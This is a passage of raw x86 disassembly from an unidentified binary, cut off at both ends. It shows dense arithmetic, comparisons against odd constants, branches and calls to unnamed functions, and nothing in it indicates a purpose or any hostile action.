add ecx, eax
mov word [ebp - 0x1314], cx
mov ecx, dword [ebp - 0x4420]
mov dword [ebp - 0x50e0], ecx
mov edx, dword [ebp - 0x4fcc]
mov eax, dword [edx]
and eax, dword [ebp - 0x4ff0]
mov dword [ebp - 0x4f60], eax
lea ecx, [ebp - 0x4420]
mov dword [ebp - 0x50e4], ecx
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5024]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x508c]
movzx edx, byte [ecx]
mov ecx, dword [ebp - 0x50dc]
movzx ecx, byte [ecx]
add edx, ecx
cmp eax, edx
jg 0x580844
mov edx, dword [ebp - 0x508c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x4fdc]
movzx edx, byte [ecx]
xor eax, edx
mov byte [0x5a8005], al
mov eax, dword [ebp - 0x5034]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x1310]
shl edx, cl
mov word [ebp - 0x12f4], dx
mov eax, dword [0x5a9b60]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x140]
sar edx, cl
movsx eax, byte [ebp - 0x17c]
mov ecx, dword [ebp - 0x5050]
movsx ecx, byte [ecx]
or eax, ecx
cmp edx, eax
jg 0x580780
movzx edx, word [ebp - 0x12fc]
movzx eax, word [ebp - 0x1300]
add edx, eax
movzx ecx, word [ebp - 0x1314]
mov eax, dword [ebp - 0x50a0]
movzx eax, word [eax]
sub ecx, eax
cmp edx, ecx
jle 0x427082
mov ecx, dword [ebp - 0x4fa0]
mov edx, dword [ecx]
and edx, dword [ebp - 0x4ff0]
mov eax, dword [ebp - 0x4fb0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x5060]
mov dword [ebp - 0x5074], edx
movzx eax, byte [ebp - 0x17f]
movzx ecx, byte [0x5a8005]
shl eax, cl
mov byte [ebp - 0x17b], al
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x50a0]
movzx ecx, word [eax]
xor edx, ecx
movzx eax, word [0x5a8008]
movzx ecx, word [ebp - 0x1304]
or eax, ecx
cmp edx, eax
jg 0x5805f1
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [edx]
mov dword [0x5a9b6c], eax
mov ecx, dword [ebp - 0x509c]
mov dword [ebp - 0x50e8], ecx
cmp dword [ebp - 0x50e8], 0x7b61998e
je 0x4270d5
jmp 0x427154
mov edx, dword [ebp - 0x4ff0]
mov dword [ebp - 0x50ec], edx
cmp dword [ebp - 0x50ec], 0x1780156
je 0x4270f1
jmp 0x427134
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x4ff0]
mov dword [ebp - 0x4f60], ecx
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [edx]
sub eax, dword [0x5a9b6c]
mov ecx, dword [ebp - 0x4fe4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5034]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1308]
add eax, ecx
mov word [ebp - 0x1300], ax
mov edx, dword [ebp - 0x5034]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1314]
sub eax, ecx
mov edx, dword [ebp - 0x50a0]
mov word [edx], ax
jmp 0x58055d
lea eax, [ebp - 0x17d]
mov dword [0x5a9b70], eax
mov ecx, dword [ebp - 0x5094]
sub ecx, dword [ebp - 0x4ff0]
mov edx, dword [ebp - 0x501c]
mov dword [edx], ecx
lea eax, [ebp - 0x5098]
mov dword [ebp - 0x50f0], eax
mov ecx, dword [ebp - 0x5060]
sub ecx, dword [ebp - 0x50e0]
mov dword [ebp - 0x4fb4], ecx
movsx edx, word [ebp - 0x12f8]
mov dword [ebp - 0x50f4], edx
cmp dword [ebp - 0x50f4], 2
je 0x4271bc
cmp dword [ebp - 0x50f4], 0x5bda
je 0x580514
jmp 0x58052e
mov eax, dword [ebp - 0x5034]
movzx edx, word [eax]
movzx eax, word [ebp - 0x1304]
sub edx, eax
movzx eax, word [ebp - 0x1314]
mov ecx, dword [ebp - 0x50a0]
movzx ecx, word [ecx]
sar eax, cl
cmp edx, eax
jne 0x58043d
mov edx, dword [ebp - 0x50a0]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x12fc]
and eax, ecx
movzx edx, word [ebp - 0x1310]
mov ecx, dword [ebp - 0x5034]
movzx ecx, word [ecx]
add edx, ecx
cmp eax, edx
jg 0x580405
mov edx, dword [ebp - 0x5068]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x5050]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x180]
sub edx, ecx
cmp eax, edx
je 0x4272f2
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [ebp - 0x509c]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x501c]
mov edx, dword [ebp - 0x50c8]
xor edx, dword [ecx]
cmp eax, edx
jbe 0x427294
mov eax, dword [ebp - 0x501c]
mov ecx, dword [ebp - 0x509c]
and ecx, dword [eax]
mov dword [ebp - 0x4f60], ecx
mov edx, dword [ebp - 0x50a0]
movzx eax, word [edx]
push eax
movzx ecx, byte [ebp - 0x17b]
push ecx
call fcn.00581f00
add esp, 8
jmp 0x4272f2
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [ebp - 0x5098]
or eax, dword [edx]
mov edx, dword [ebp - 0x4f7c]
mov ecx, dword [0x5a9b6c]
sar edx, cl
cmp eax, edx
jl 0x4272f2
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [ebp - 0x5094]
add ecx, dword [eax]
mov edx, dword [ebp - 0x4fb0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x5098]
mov dword [ebp - 0x50e0], ecx
mov edx, dword [0x5a9b64]
add edx, dword [ebp - 0x5074]
mov eax, dword [ebp - 0x4fd4]
mov dword [eax], edx
movsx ecx, word [ebp - 0x120c]
mov dword [ebp - 0x50f8], ecx
cmp dword [ebp - 0x50f8], 0
je 0x42730a
jmp 0x42735f
lea edx, [ebp - 0x5098]
mov dword [ebp - 0x50fc], edx
movzx eax, word [ebp - 0x1304]
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x1310], ax
mov eax, dword [ebp - 0x508c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x50a4]
movzx eax, byte [edx]
and ecx, eax
mov byte [0x5a8006], cl
mov ecx, dword [ebp - 0x501c]
mov edx, dword [ebp - 0x4ff0]
sub edx, dword [ecx]
mov dword [ebp - 0x50c8], edx
jmp 0x427387
mov eax, dword [ebp - 0x5094]
push eax
movzx ecx, byte [ebp - 0x17b]
push ecx
mov edx, dword [ebp - 0x4ff0]
push edx
mov dl, byte [ebp - 0x17b]
mov ecx, dword [ebp - 0x509c]
call fcn.00581810
nop
lea eax, [ebp - 0x5074]
mov dword [ebp - 0x5100], eax
mov ecx, dword [ebp - 0x50e4]
mov edx, dword [ebp - 0x5060]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x50e0]
sub eax, dword [0x5a9b64]
cmp edx, eax
jg 0x427492
mov ecx, dword [ebp - 0x50f0]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x4420]
mov eax, dword [ebp - 0x4fd4]
mov dword [eax], edx
movsx ecx, word [ebp - 0x130c]
mov dword [ebp - 0x5104], ecx
cmp dword [ebp - 0x5104], 0x5348
je 0x427472
cmp dword [ebp - 0x5104], 0x6d28
je 0x4273f9
jmp 0x42748d
mov edx, dword [ebp - 0x4fb0]
mov eax, dword [edx]
or eax, dword [ebp - 0x50c8]
mov dword [ebp - 0x5094], eax
movzx edx, byte [ebp - 0x17d]
mov eax, dword [ebp - 0x50dc]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x4fdc]
mov byte [ecx], dl
movzx edx, word [ebp - 0x1310]
movzx eax, word [ebp - 0x1304]
and edx, eax
mov word [ebp - 0x1314], dx
movzx ecx, word [ebp - 0x12fc]
push ecx
mov edx, dword [ebp - 0x5034]
movzx eax, word [edx]
push eax
movzx ecx, word [ebp - 0x1308]
push ecx
mov edx, dword [ebp - 0x5034]
movzx eax, word [edx]
push eax
movzx ecx, word [ebp - 0x1308]
push ecx
call fcn.00581c00
nop
jmp 0x42748d
mov edx, dword [ebp - 0x5010]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x120c]
add eax, ecx
mov edx, dword [ebp - 0x5010]
mov word [edx], ax
jmp 0x427573
movzx eax, word [ebp - 0x1304]
movzx ecx, word [ebp - 0x1314]
add eax, ecx
movzx edx, word [ebp - 0x1308]
movzx ecx, word [ebp - 0x1300]
shl edx, cl
cmp eax, edx
jge 0x427573
mov eax, dword [ebp - 0x5034]
movzx ecx, word [eax]
mov dword [ebp - 0x5108], ecx
cmp dword [ebp - 0x5108], 0x3ed
je 0x4274da
jmp 0x42755f
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5024]
movzx edx, byte [ecx]
add eax, edx
movzx ecx, byte [ebp - 0x17b]
mov edx, dword [ebp - 0x508c]
movzx edx, byte [edx]
add ecx, edx
cmp eax, ecx
je 0x427522
movsx eax, byte [ebp - 0x17e]
movsx ecx, byte [ebp - 0x180]
and eax, ecx
mov byte [ebp - 0x17a], al
call fcn.005816b0
nop
jmp 0x42755d
mov edx, dword [ebp - 0x50f0]
mov eax, dword [edx]
sub eax, dword [0x5a9b6c]
mov ecx, dword [ebp - 0x50e4]
mov edx, dword [ebp - 0x4fd4]
mov ecx, dword [ecx]
sub ecx, dword [edx]
cmp eax, ecx
jl 0x42755d
movsx edx, byte [0x5a8004]
mov eax, dword [ebp - 0x5068]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [0x5a9b60]
mov byte [eax], dl
jmp 0x427573
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [ebp - 0x4f7c]
add edx, dword [ecx]
mov dword [ebp - 0x5074], edx
mov eax, dword [ebp - 0x5010]
movsx ecx, word [eax]
mov dword [ebp - 0x510c], ecx
cmp dword [ebp - 0x510c], 2
je 0x4275a0
cmp dword [ebp - 0x510c], 0x6440
je 0x580330
jmp 0x580362
mov edx, dword [ebp - 0x5060]
mov ecx, dword [ebp - 0x4420]
shl edx, cl
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [ebp - 0x50e0]
and ecx, dword [eax]
cmp edx, ecx
je 0x427692
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [ebp - 0x5060]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x5100]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [edx]
add eax, dword [ebp - 0x4fb4]
mov dword [ebp - 0x5074], eax
movzx ecx, byte [ebp - 0x17b]
movzx edx, byte [ebp - 0x17f]
sub ecx, edx
movzx eax, byte [0x5a8005]
movzx edx, byte [ebp - 0x17d]
sub eax, edx
cmp ecx, eax
jge 0x42768d
mov eax, dword [ebp - 0x50dc]
mov cl, byte [eax]
mov byte [ebp - 0x5110], cl
cmp byte [ebp - 0x5110], 0x32
je 0x427674
cmp byte [ebp - 0x5110], 0x61
je 0x427634
jmp 0x42768d
mov edx, dword [ebp - 0x508c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5024]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x50a4]
mov byte [ecx], al
mov edx, dword [ebp - 0x501c]
mov eax, dword [edx]
push eax
movzx ecx, word [ebp - 0x1310]
push ecx
mov edx, dword [0x5a9b68]
mov eax, dword [edx]
push eax
call fcn.00581290
add esp, 0xc
jmp 0x42768d
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1304]
add edx, eax
mov word [0x5a8008], dx
jmp 0x427779
mov ecx, dword [ebp - 0x4fcc]
mov edx, dword [ebp - 0x5094]
add edx, dword [ecx]
mov eax, dword [ebp - 0x501c]
mov ecx, dword [ebp - 0x4ff0]
sub ecx, dword [eax]
cmp edx, ecx
je 0x427779
mov edx, dword [ebp - 0x501c]
mov eax, dword [ebp - 0x509c]
or eax, dword [edx]
mov ecx, dword [ebp - 0x50b4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [ebp - 0x4fcc]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x4fb0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x509c]
shr eax, cl
cmp edx, eax
jne 0x427741
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [ecx]
and edx, dword [ebp - 0x4f7c]
mov dword [ebp - 0x4420], edx
mov eax, dword [ebp - 0x50a0]
movzx ecx, word [eax]
mov dword [ebp - 0x5114], ecx
cmp dword [ebp - 0x5114], 0xea8
je 0x427723
jmp 0x42772b
call fcn.005816b0
nop
jmp 0x42773f
mov edx, dword [ebp - 0x5074]
sub edx, dword [0x5a9b64]
mov eax, dword [ebp - 0x50e4]
mov dword [eax], edx
jmp 0x427779
mov ecx, dword [ebp - 0x508c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x17d]
xor edx, eax
movzx ecx, byte [ebp - 0x17f]
movzx eax, byte [ebp - 0x17b]
add ecx, eax
cmp edx, ecx
jne 0x427779
mov ecx, dword [ebp - 0x5098]
sub ecx, dword [ebp - 0x4f7c]
mov dword [ebp - 0x50e0], ecx
mov edx, dword [ebp - 0x50dc]
movzx eax, byte [edx]
mov ecx, dword [0x5a9b70]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x5024]
movzx edx, byte [ecx]
mov ecx, dword [ebp - 0x4fdc]
movzx ecx, byte [ecx]
add edx, ecx
cmp eax, edx
jg 0x42786e
mov edx, dword [ebp - 0x5100]
mov eax, dword [edx]
mov dword [ebp - 0x5118], eax
movsx ecx, byte [ebp - 0x17a]
movsx edx, byte [0x5a8004]
add ecx, edx
mov eax, dword [ebp - 0x5068]
movsx edx, byte [eax]
movsx eax, byte [ebp - 0x17e]
add edx, eax
cmp ecx, edx
jne 0x42786e
mov ecx, dword [ebp - 0x5050]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x5068]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x17c], dl
lea edx, [ebp - 0x1208]
mov dword [ebp - 0x511c], edx
mov eax, dword [ebp - 0x5050]
mov cl, byte [eax]
mov byte [ebp - 0x5120], cl
cmp byte [ebp - 0x5120], 0x1c
je 0x427820
jmp 0x42786e
movzx edx, byte [ebp - 0x17f]
mov eax, dword [ebp - 0x5024]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x508c]
mov byte [eax], dl
mov ecx, dword [ebp - 0x50a0]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1300]
xor edx, eax
mov word [0x5a8008], dx
mov ecx, dword [ebp - 0x4f60]
push ecx
mov dl, byte [ebp - 0x17d]
mov eax, dword [ebp - 0x50a4]
mov cl, byte [eax]
call fcn.00581890
nop
mov edx, dword [ebp - 0x50c8]
mov ecx, dword [ebp - 0x509c]
shr edx, cl
mov eax, dword [ebp - 0x4fcc]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4f60]
mov dword [ebp - 0x5124], ecx
mov edx, dword [ebp - 0x50e4]
mov eax, dword [ebp - 0x50e0]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ecx]
or edx, dword [ebp - 0x5060]
cmp eax, edx
jle 0x427975
mov eax, dword [ebp - 0x508c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5024]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x17d], cl
mov ecx, dword [ebp - 0x50f0]
mov edx, dword [ecx]
mov dword [ebp - 0x5128], edx
cmp dword [ebp - 0x5128], 0xca8482c
je 0x4278f8
cmp dword [ebp - 0x5128], 0x59a8b63c
je 0x42793f
jmp 0x427975
mov eax, dword [ebp - 0x5034]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1314]
add ecx, edx
mov eax, dword [ebp - 0x50a0]
mov word [eax], cx
mov ecx, dword [ebp - 0x50e4]
mov edx, dword [ebp - 0x50e0]
and edx, dword [ecx]
mov dword [ebp - 0x5074], edx
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [ebp - 0x4fb0]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x4f60], edx
jmp 0x427975
mov eax, dword [ebp - 0x5034]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x50a0]
movzx eax, word [edx]
push eax
movzx ecx, word [ebp - 0x1308]
push ecx
mov edx, dword [ebp - 0x5034]
movzx eax, word [edx]
push eax
mov ecx, dword [ebp - 0x50a0]
movzx edx, word [ecx]
push edx
call fcn.00581c00
nop
mov al, byte [ebp - 0x17b]
mov byte [ebp - 0x512c], al
cmp byte [ebp - 0x512c], 0
je 0x42798f
jmp 0x427a12
mov ecx, dword [ebp - 0x50e4]
mov edx, dword [ebp - 0x4fe8]
sub edx, dword [ecx]
mov dword [ebp - 0x50e0], edx
mov eax, dword [0x5a9b60]
mov cl, byte [eax]
mov byte [ebp - 0x5130], cl
cmp byte [ebp - 0x5130], 0x92
je 0x4279c4
cmp byte [ebp - 0x5130], 0x51
je 0x4279f7
lea edx, [ebp - 0x5118]
mov dword [ebp - 0x5134], edx
lea eax, [ebp - 0x12f4]
mov dword [0x5a9b74], eax
mov ecx, dword [ebp - 0x4fdc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x17b]
add edx, eax
mov ecx, dword [ebp - 0x50a4]
mov byte [ecx], dl
jmp 0x427a0d
mov dl, byte [ebp - 0x140]
mov byte [ebp - 0x5138], dl
cmp byte [ebp - 0x5138], 0x3e
je 0x427a29
movzx edx, word [ebp - 0x1304]
push edx
movzx eax, word [ebp - 0x1304]
push eax
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0x5034]
movzx ecx, word [eax]
push ecx
movzx edx, word [0x5a8008]
push edx
call fcn.00581c00
nop
movzx eax, byte [0x5a8006]
mov ecx, dword [ebp - 0x50dc]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x17b], al
mov eax, dword [ebp - 0x4ff0]
mov dword [ebp - 0x17d28], eax
cmp dword [ebp - 0x17d28], 0xeafcb5b0
je 0x580394
jmp 0x5803aa
mov ecx, dword [ebp - 0x501c]
mov edx, dword [ebp - 0x4fb0]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x50c8], eax
mov ecx, dword [ebp - 0x50a0]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x5034]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x50a0]
mov word [ecx], dx
mov edx, dword [ebp - 0x5098]
or edx, dword [ebp - 0x50e0]
mov dword [ebp - 0x4fb4], edx
mov eax, dword [ebp - 0x5094]
push eax
mov ecx, dword [ebp - 0x5024]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x50b4]
mov ecx, dword [eax]
push ecx
mov dl, byte [ebp - 0x17d]
mov ecx, dword [ebp - 0x4f60]
call fcn.00581810
nop
movzx edx, byte [ebp - 0x17d]
movzx eax, byte [0x5a8005]
add edx, eax
mov ecx, dword [ebp - 0x50a4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x50a0]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x1304], ax
jmp 0x5804d0
mov eax, dword [ebp - 0x50dc]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x508c]
movzx ecx, byte [eax]
shl edx, cl
movzx ecx, byte [ebp - 0x17b]
mov eax, dword [ebp - 0x50a4]
movzx eax, byte [eax]
xor ecx, eax
cmp edx, ecx
jge 0x5804d0
mov ecx, dword [ebp - 0x50a0]
movzx edx, word [ecx]
mov dword [ebp - 0x17d2c], edx
cmp dword [ebp - 0x17d2c], 0x162
je 0x580484
jmp 0x58049e
mov eax, dword [ebp - 0x5068]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x5050]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x140], cl
movzx ecx, word [ebp - 0x12fc]
push ecx
movzx edx, word [ebp - 0x1300]
push edx
mov eax, dword [ebp - 0x50a0]
movzx ecx, word [eax]
push ecx
movzx edx, word [ebp - 0x1310]
push edx
mov eax, dword [ebp - 0x50a0]
movzx ecx, word [eax]
push ecx
call fcn.00581c00
nop
mov edx, dword [0x5a9b68]
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x5098], ecx
mov edx, dword [ebp - 0x50f0]
mov eax, dword [ebp - 0x4fe8]
and eax, dword [edx]
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [ebp - 0x50e4]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [0x5a9b6c], ecx
jmp 0x58052e
mov edx, dword [0x5a9b70]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x17f]
add eax, ecx
mov edx, dword [ebp - 0x50dc]
mov byte [edx], al
mov eax, dword [ebp - 0x4fcc]
mov ecx, dword [ebp - 0x4fa0]
mov edx, dword [eax]
add edx, dword [ecx]
mov eax, dword [ebp - 0x4fb0]
mov dword [eax], edx
movzx ecx, word [ebp - 0x1308]
movzx edx, word [ebp - 0x12fc]
sub ecx, edx
mov word [ebp - 0x1300], cx
mov eax, dword [ebp - 0x4fd4]
mov edx, dword [0x5a9b64]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x4f7c], edx
movzx eax, word [ebp - 0x1310]
mov dword [ebp - 0x17d30], eax
cmp dword [ebp - 0x17d30], 0x44e
je 0x58059a
cmp dword [ebp - 0x17d30], 0x4fa
je 0x5805d4
jmp 0x5805ec
mov ecx, dword [ebp - 0x5050]
movsx edx, byte [ecx]
mov eax, dword [0x5a9b60]
movsx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x5068]
mov byte [eax], dl
movsx ecx, word [ebp - 0x130c]
movsx edx, word [ebp - 0x120c]
xor ecx, edx
mov word [ebp - 0x12f8], cx
call fcn.005816b0
nop
jmp 0x5805ec
movzx eax, byte [ebp - 0x17b]
mov ecx, dword [ebp - 0x508c]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x17d], al
jmp 0x580685
mov eax, dword [ebp - 0x50a0]
movzx ecx, word [eax]
mov dword [ebp - 0x17d34], ecx
cmp dword [ebp - 0x17d34], 0xd8e
je 0x58060e
jmp 0x580658
mov edx, dword [ebp - 0x4fb4]
and edx, dword [ebp - 0x5060]
mov eax, dword [ebp - 0x4fe4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fa0]
mov edx, dword [ebp - 0x5094]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x4f60], edx
mov eax, dword [ebp - 0x50b4]
mov ecx, dword [eax]
push ecx
movzx edx, word [ebp - 0x1308]
push edx
mov eax, dword [ebp - 0x4f7c]
push eax
call fcn.00581290
add esp, 0xc
mov ecx, dword [ebp - 0x5060]
add ecx, dword [ebp - 0x4fe8]
mov dword [ebp - 0x4f7c], ecx
mov edx, dword [ebp - 0x50b4]
mov eax, dword [edx]
push eax
mov dl, byte [ebp - 0x17b]
mov cl, byte [ebp - 0x17f]
call fcn.00581890
nop
mov ecx, dword [ebp - 0x5010]
movsx edx, word [ecx]
mov dword [ebp - 0x17d38], edx
cmp dword [ebp - 0x17d38], 0x453e
je 0x5806b5
cmp dword [ebp - 0x17d38], 0x546e
je 0x580761
jmp 0x58077b
mov eax, dword [ebp - 0x50a0]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1304]
and ecx, edx
mov eax, dword [ebp - 0x5034]
mov word [eax], cx
mov ecx, dword [ebp - 0x50e4]
mov edx, dword [ebp - 0x4420]
add edx, dword [ecx]
mov dword [0x5a9b64], edx
mov al, byte [ebp - 0x17d]
mov byte [ebp - 0x17d3c], al
cmp byte [ebp - 0x17d3c], 0x1a
je 0x580704
cmp byte [ebp - 0x17d3c], 0x9e
je 0x580748
jmp 0x58075f
mov ecx, dword [ebp - 0x50e4]
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [ecx]
add eax, dword [edx]
mov ecx, dword [ebp - 0x4fd4]
mov dword [ecx], eax
mov edx, dword [0x5a9b68]
mov eax, dword [edx]
sub eax, dword [ebp - 0x4420]
mov dword [ebp - 0x5098], eax
mov ecx, dword [ebp - 0x50b4]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x4f60]
mov eax, dword [ebp - 0x4fcc]
mov dword [eax], edx
jmp 0x58075f
movzx ecx, word [0x5a8008]
movzx edx, word [ebp - 0x1300]
add ecx, edx
mov word [ebp - 0x12f4], cx
jmp 0x58077b
mov eax, dword [ebp - 0x50dc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x17f]
add ecx, edx
mov eax, dword [ebp - 0x50a4]
mov byte [eax], cl
jmp 0x580828
movsx ecx, word [ebp - 0x130c]
movsx edx, word [ebp - 0x1208]
and ecx, edx
movsx eax, word [ebp - 0x120c]
movsx edx, word [ebp - 0x12f8]
sub eax, edx
cmp ecx, eax
jg 0x580828
mov eax, dword [ebp - 0x508c]
mov cl, byte [eax]
mov byte [ebp - 0x17d40], cl
cmp byte [ebp - 0x17d40], 0x9d
je 0x5807c3
jmp 0x5807dd
mov edx, dword [ebp - 0x5050]
movsx eax, byte [edx]
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x17c], al
movsx eax, word [ebp - 0x130c]
mov ecx, dword [ebp - 0x5010]
movsx edx, word [ecx]
add eax, edx
mov word [ebp - 0x120c], ax
movzx eax, word [ebp - 0x12fc]
push eax
mov ecx, dword [ebp - 0x50a0]
movzx edx, word [ecx]
push edx
movzx eax, word [ebp - 0x1314]
push eax
mov ecx, dword [ebp - 0x50a0]
movzx edx, word [ecx]
push edx
movzx eax, word [ebp - 0x1304]
push eax
call fcn.00581c00
nop
mov ecx, dword [ebp - 0x50a4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x50dc]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x4fdc]
mov byte [eax], dl
mov ecx, dword [ebp - 0x5060]
sub ecx, dword [0x5a9b64]
mov dword [ebp - 0x5074], ecx
movzx edx, word [ebp - 0x12f4]
push edx
mov eax, dword [ebp - 0x5034]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x5034]
movzx eax, word [edx]
push eax
movzx ecx, word [ebp - 0x1304]
push ecx
movzx edx, word [ebp - 0x12f4]
push edx
call fcn.00581c00
nop
mov eax, dword [ebp - 0x4f60]
mov dword [ebp - 0x17d44], eax
cmp dword [ebp - 0x17d44], 0x43f76e07
je 0x58090c
cmp dword [ebp - 0x17d44], 0x846c9713
je 0x5808b1
jmp 0x580942
mov ecx, dword [0x5a9b64]
sub ecx, dword [ebp - 0x5060]
mov dword [ebp - 0x4fe8], ecx
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [edx]
add eax, dword [ebp - 0x4f7c]
mov ecx, dword [ebp - 0x4fd4]
mov dword [ecx], eax
movsx edx, byte [0x5a8004]
mov eax, dword [ebp - 0x5068]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x140], dl
mov edx, dword [ebp - 0x5010]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x12f8]
add eax, ecx
mov word [ebp - 0x130c], ax
jmp 0x580942
mov edx, dword [ebp - 0x5034]
movzx eax, word [edx]
push eax
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0x5034]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x50a0]
movzx eax, word [edx]
push eax
movzx ecx, word [ebp - 0x1308]
push ecx
call fcn.00581c00
nop
jmp 0x580a53
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x50a4]
movzx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x508c]
movzx edx, byte [ecx]
mov ecx, dword [ebp - 0x5024]
movzx ecx, byte [ecx]
add edx, ecx
cmp eax, edx
jg 0x580a53
movsx edx, word [ebp - 0x120c]
mov eax, dword [ebp - 0x5010]
movsx ecx, word [eax]
sub edx, ecx
movsx eax, word [ebp - 0x130c]
movsx ecx, word [ebp - 0x12f8]
and eax, ecx
cmp edx, eax
jl 0x5809bc
mov edx, dword [ebp - 0x5024]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x4fdc]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x17d], al
jmp 0x580a53
movzx eax, word [ebp - 0x12f4]
mov ecx, dword [ebp - 0x50a0]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x5034]
mov word [ecx], ax
mov edx, dword [ebp - 0x5060]
mov dword [ebp - 0x17d48], edx
cmp dword [ebp - 0x17d48], 0x24e109ad
je 0x5809fd
cmp dword [ebp - 0x17d48], 0x31675c3b
je 0x580a11
jmp 0x580a53
mov eax, dword [ebp - 0x4f7c]
sub eax, dword [ebp - 0x5074]
mov dword [ebp - 0x4420], eax
jmp 0x580a53
mov ecx, dword [ebp - 0x50c8]
add ecx, dword [ebp - 0x509c]
